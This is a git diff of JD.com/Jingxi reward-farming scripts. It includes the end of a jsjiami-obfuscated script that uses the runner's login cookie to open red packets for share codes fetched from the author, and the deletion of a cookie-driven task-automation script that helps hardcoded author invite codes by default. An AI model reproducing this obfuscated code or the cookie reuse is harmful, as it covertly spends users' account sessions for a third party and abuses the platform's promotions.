_0x3f1703=>{$[_0x1b95('44','vbNw')]({'url':_0x9c229f,'headers':{'User-Agent':_0xdb5515[_0x1b95('45','7hLM')]},'timeout':0x2710},async(_0x1ec868,_0x1a7321,_0x3d328c)=>{try{if(_0x1ec868){}else{if(_0x3d328c)_0x3d328c=JSON[_0x1b95('46','*t0J')](_0x3d328c);}}catch(_0x549910){}finally{_0xdb5515[_0x1b95('47','LvxL')](_0x3f1703,_0x3d328c);}});await $[_0x1b95('48','t$Ye')](0x2710);_0xdb5515[_0x1b95('49','yo(0')](_0x3f1703);});}async function helpOpenRedPacket(){var _0x415f16={'YmFaH':function(_0x5b4bc7,_0x5db8e8){return _0x5b4bc7(_0x5db8e8);},'jyzcB':_0x1b95('4a','frms'),'wkSBx':function(_0x29a892,_0xf33945){return _0x29a892(_0xf33945);},'uokoS':_0x1b95('4b','LvxL')};let _0x5de8d3=await _0x415f16[_0x1b95('4c','zeh1')](getAuthorShareCode2,_0x415f16[_0x1b95('4d','UMs9')]),_0x25ebee=[];if(!_0x5de8d3)_0x5de8d3=await _0x415f16[_0x1b95('4e','xXQi')](getAuthorShareCode2,_0x415f16[_0x1b95('4f','%6Kg')]);$[_0x1b95('50','t$Ye')]=[..._0x5de8d3||[],..._0x25ebee||[]];for(let _0x5d3949 of $[_0x1b95('51','B%xi')]){await _0x415f16[_0x1b95('52','VW!q')](openRedPacket,_0x5d3949);}}function openRedPacket(_0x411cf8=_0x1b95('53',')mvG')){var _0x42ff1d={'YdWVD':function(_0x372119){return _0x372119();},'WOHCb':function(_0x50e2fc,_0x391117){return _0x50e2fc(_0x391117);},'xyDWW':function(_0x2dc3a6,_0x1c6bf4){return _0x2dc3a6===_0x1c6bf4;},'XgdIo':_0x1b95('54','UT2R'),'RXFxp':_0x1b95('55','j^US'),'SCBSb':_0x1b95('56','5Src'),'UKJZv':_0x1b95('57','5Src'),'RKCGt':_0x1b95('58','s8ss'),'dofjt':_0x1b95('59','I[vO'),'gDPVW':_0x1b95('5a','9oUJ'),'pamsB':_0x1b95('5b','MFB0')};const _0x48257c={'Host':_0x42ff1d[_0x1b95('5c','7hLM')],'Origin':_0x42ff1d[_0x1b95('5d','UMs9')],'Accept':_0x42ff1d[_0x1b95('5e','VW!q')],'User-Agent':_0x42ff1d[_0x1b95('5f','I[vO')],'Referer':_0x42ff1d[_0x1b95('60','f&y[')],'Accept-Language':_0x42ff1d[_0x1b95('61','k@m&')],'Cookie':cookie};const _0x193cf7=_0x1b95('62',')mvG')+_0x411cf8+_0x1b95('63','xgVT');const _0x1662df={'url':_0x1b95('64','vbNw')+ +new Date(),'method':_0x42ff1d[_0x1b95('65','3I52')],'headers':_0x48257c,'body':_0x193cf7};return new Promise(_0x40c304=>{if(_0x42ff1d[_0x1b95('66','I#R(')](_0x42ff1d[_0x1b95('67','&Upp')],_0x42ff1d[_0x1b95('68',')IwY')])){$[_0x1b95('69',')mvG')](_0x1662df,(_0x273df5,_0x255c18,_0x1f06ec)=>{_0x42ff1d[_0x1b95('6a','yo(0')](_0x40c304);});}else{_0x42ff1d[_0x1b95('6b','AtMB')](_0x40c304,data);}});};_0xod6='jsjiami.com.v6'; -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_jxstory.js b/activity/jd_jxstory.js deleted file mode 100644 index eb7bd8e..0000000 --- a/activity/jd_jxstory.js +++ /dev/null @@ -1,667 +0,0 @@ -/* -京喜故事 -活动入口 :京喜APP->首页浮动窗口去领钱/京喜工厂-金牌厂长 -每天运行一次即可 - - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜故事 -10 7 * * * jd_jxstory.js, tag=京喜故事, enabled=true - -================Loon============== -[Script] -cron "10 7 * * *" script-path=jd_jxstory.js,tag=京喜故事 - -===============Surge================= -京喜故事 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jxstory.js - -============小火箭========= -京喜故事 = type=cron,script-path=jd_jxstory.js, cronexpr="10 * * * *", timeout=3600, enable=true - - */ - - -const $ = new Env('京喜故事'); -const JD_API_HOST = 'https://m.jingxi.com'; - -const notify = $.isNode() ? require('../sendNotify') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = 3; -let cookiesArr = [], cookie = '', message = ''; -const inviteCodes = ['qSDHMwUOz7onHcMyaju4KmdSXWf0dlv7LVnTt1Wzemo=@iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=', 'iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=']; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - $.ele = 0; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdJxStory() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdJxStory() { - await userInfo() - await helpFriends() - await sign() - await taskList() - for(let i =0;i { - $.get(taskurl('SignIn', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - console.log(`签到钞票:收取成功,获得 ${data['data']['rewardMoneyToday']}`) - message += `【签到钞票】:收取成功,获得 ${data['data']['rewardMoneyToday']}\n` - } else { - console.log(`签到钞票:收取失败,${data.msg}`) - message += `【签到钞票】收取失败,${data.msg}\n` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 初始化任务 -function taskList() { - return new Promise(async resolve => { - $.get(newtasksysUrl('GetUserTaskStatusList'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - let userTaskStatusList = data['data']['userTaskStatusList']; - for (let i = 0; i < userTaskStatusList.length; i++) { - const vo = userTaskStatusList[i]; - if (vo['awardStatus'] !== 1) { - if (vo.completedTimes >= vo.targetTimes) { - console.log(`任务:${vo.description}可完成`) - await completeTask(vo.taskId, vo.taskName) - await $.wait(1000);//延迟等待一秒 - } else { - switch (vo.taskType) { - case 2: // 逛一逛任务 - case 6: // 浏览商品任务 - case 9: // 开宝箱 - for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { - console.log(`去做任务:${vo.taskName}`) - await doTask(vo.taskId) - await completeTask(vo.taskId, vo.taskName) - await $.wait(1000);//延迟等待一秒 - } - break - case 4: // 招工 - break - case 5: // 京喜工厂投入电力 - console.log(`去做任务:${vo.taskName}`) - await doTask(vo.taskId) - await completeTask(vo.taskId, vo.taskName) - await $.wait(1000);//延迟等待一秒 - break - case 1: // 登陆领奖 - default: - break - } - } - } - } - console.log(`完成任务:共领取${$.ele}钞票`) - message += `【每日任务】领奖成功,共计 ${$.ele} 钞票\n`; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 钞票翻倍任务 -async function cardList() { - for (let i = 0; i < 10; ++i) { - await readyCard(); - } -} -function readyCard() { - return new Promise(async resolve => { - $.get(taskurl('ReadyCard'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - - if(data['ret']===0 && data['data']['flopFinishNumber']{ - return { - "cardId" : vo['cardId'], - "cardPosition" : index+1, - "cardStatus" :0 - } - }) - cardInfo[0]['cardStatus'] = 1 - - await selectCard(cardInfo) - // await $.wait(1000); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 选择卡片 -function selectCard(cardInfo) { - return new Promise(async resolve => { - $.get(taskurl('SelectCard',`cardInfo=${JSON.stringify({"cardInfo":cardInfo})}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret']===0){ - await $.wait(10000); - await finishCard(cardInfo[0]['cardId']) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 完成卡片 -function finishCard(cardId) { - return new Promise(async resolve => { - $.get(taskurl('FinishCard',`cardid=${cardId}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret']===0){ - let ratio = data['data']['cardInfo'].filter(vo=>vo['cardId']===cardId)[0]['cardRatio'] - console.log(`翻倍成功,获得${ratio}%,共计获得${data['data']['earnRatio']}%`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 升级 -function upgrade() { - return new Promise(async resolve => { - $.get(taskurl('UpgradeUserLevelDraw', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0&&data['data']['active']!=='') { - console.log(`升级成功,获得${JSON.stringify(data['data'])}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// 点击 -function increase() { - return new Promise(async resolve => { - $.get(taskurl('IncreaseUserMoney'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - console.log(`点击厂长成功,获得 ${data['data']['moneyNum']} 钞票`) - }else if(data['ret'] === 2005){ - // 点击上限 - $.click = false - }else{ - console.log(`点击厂长过快,休息25秒`) - await $.wait(25000); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (code) { - if ($.shareId === code) { - console.log(`不能为自己助力,跳过`); - continue; - } - await assistFriend(code); - } - } -} -// 帮助用户 -function assistFriend(shareId) { - return new Promise(async resolve => { - $.get(taskurl('AssistFriend',`shareId=${escape(shareId)}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - console.log(`助力朋友:${shareId}成功`) - } else { - console.log(`助力朋友[${shareId}]失败:${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 任务领奖 -function completeTask(taskId, taskName) { - return new Promise(async resolve => { - $.get(newtasksysUrl('Award', taskId), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - switch (data['data']['awardStatus']) { - case 1: - $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) - console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}钞票`); - break - case 1013: - case 0: - console.log(`领取${taskName}任务奖励失败,任务已领奖`); - break - default: - console.log(`领取${taskName}任务奖励失败,${data['msg']}`) - break - } - // if (data['ret'] === 0) { - // console.log("做任务完成!") - // } else { - // console.log(`异常:${JSON.stringify(data)}`) - // } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 完成任务 -function doTask(taskId) { - return new Promise(async resolve => { - $.get(newtasksysUrl('DoTask', taskId), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - console.log("做任务完成!") - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 初始化个人信息 -function userInfo() { - return new Promise(async resolve => { - $.get(taskurl('GetUserInfo', ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - data = data['data']; - $.shareId = data['shareId']; - console.log(`分享码: ${data['shareId']}`); - $.currentMoneyNum = data.currentMoneyNum; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function showMsg() { - return new Promise(async resolve => { - let ctrTemp; - if ($.isNode() && process.env.JXSTORY_NOTIFY_CONTROL) { - ctrTemp = `${process.env.JXSTORY_NOTIFY_CONTROL}` === 'false'; - } else if ($.getdata('jdJxStory')) { - ctrTemp = $.getdata('jdJxStory') === 'false'; - } else { - ctrTemp = `${jdNotify}` === 'false'; - } - if (ctrTemp) { - $.msg($.name, '', message); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${message}`); - } - } else { - $.log(`\n${message}\n`); - } - resolve() - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://api.turinglabs.net/api/v1/jd/jxstory/read/${randomCount}/`}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - // await $.wait(2000); - // resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - // const readShareCodeRes = await readShareCode(); - // if (readShareCodeRes && readShareCodeRes.code === 200) { - // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - // } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = $.isNode() ? require('./jdJxStoryShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function taskurl(functionId, body = '') { - return { - url: `${JD_API_HOST}/jxstory/userinfo/${functionId}?bizcode=jxstory&${body}&_time=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1`, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'jdpingou;iPhone;3.15.2;14.2;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/158;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html?ptag=138963.4.3', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function newtasksysUrl(functionId, taskId) { - let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=jxstory&bizCode=jxstory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`; - if (taskId) { - url += `&taskId=${taskId}`; - } - return { - url, - "headers": { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", - 'Accept-Language': 'zh-cn', - 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -Date.prototype.Format = function (fmt) { //author: meizz - var o = { - "M+": this.getMonth() + 1, //月份 - "d+": this.getDate(), //日 - "h+": this.getHours(), //小时 - "m+": this.getMinutes(), //分 - "s+": this.getSeconds(), //秒 - "q+": Math.floor((this.getMonth() + 3) / 3), //季度 - "S": this.getMilliseconds() //毫秒 - }; - if (/(y+)/.test(fmt)) - fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); - for (var k in o) - if (new RegExp("(" + k + ")").test(fmt)) - fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); - return fmt; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new 